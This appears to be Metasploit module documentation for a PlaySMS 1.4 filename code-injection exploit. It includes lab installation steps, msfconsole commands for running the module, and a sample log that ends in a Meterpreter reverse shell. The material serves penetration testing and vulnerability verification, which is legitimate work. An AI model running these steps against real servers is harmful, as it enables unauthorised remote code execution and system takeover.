53 lines
3.2 KiB
Markdown
53 lines
3.2 KiB
Markdown
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## Description
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This module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS v1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload. Additional information and vulnerabilities can be viewed on Exploit-DB [42044](https://www.exploit-db.com/exploits/42003/).
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## Vulnerable Application
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Available at [Exploit-DB](https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz)
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### Vulnerable Application Installation Setup.
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1. Download Application : `wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz`
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2. Extract : `tar -xvf 577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz`
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3. Move In WebDirectory : `mv playsms-1.4/web/* /var/www/html/`
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4. make config file: `cp /var/www/html/config-dist.php /var/www/html/config.php`
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5. Change Owner : `chown -R www-data:www-data /var/www/html/`
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6. Set DB creds in config.php File. And dump playsms-1.4/db/playsms.sql in your playsms database.
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7. Now Visit : http://localhost/
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## Verification Steps
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1. Install the application
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2. Start msfconsole
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3. Do: `use exploit/multi/http/playsms_filename_exec`
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4. Do: `set rport <port>`
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5. Do: `set rhost <ip>`
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6. Do: `set targeturi SecreTSMSgatwayLogin`
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7. Do: `set username touhid`
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8. Do: `set password diana`
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9. Do: `check`
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```
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[*] 10.22.1.10:80 The target appears to be vulnerable.
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```
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10. Do: `set lport <port>`
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11. Do: `set lhost <ip>`
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12. Do: `exploit`
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13. You should get a shell.
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## Scenarios
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### Playsms on Ubuntu Linux
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```
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msf exploit(multi/http/playsms_filename_exec) > run
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[*] Started reverse TCP handler on 10.22.1.3:4444
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[+] X-CSRF-Token for login : 13bce9776cfc270a3779e8b557330cc2
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[*] Trying to Login ......
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[+] Authentication successful : [ touhid:diana ]
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[+] X-CSRF-Token for upload : 2780d48dc11a482a58d8a95ad873c6cc
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[*] Trying to upload file with malicious Filename Field....
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[*] Sending stage (37775 bytes) to 10.22.1.15
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[*] Sleeping before handling stage...
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[*] Meterpreter session 1 opened (10.22.1.3:4444 -> 10.22.1.15:38814) at 2018-04-08 13:45:34 +0530
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meterpreter >
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```
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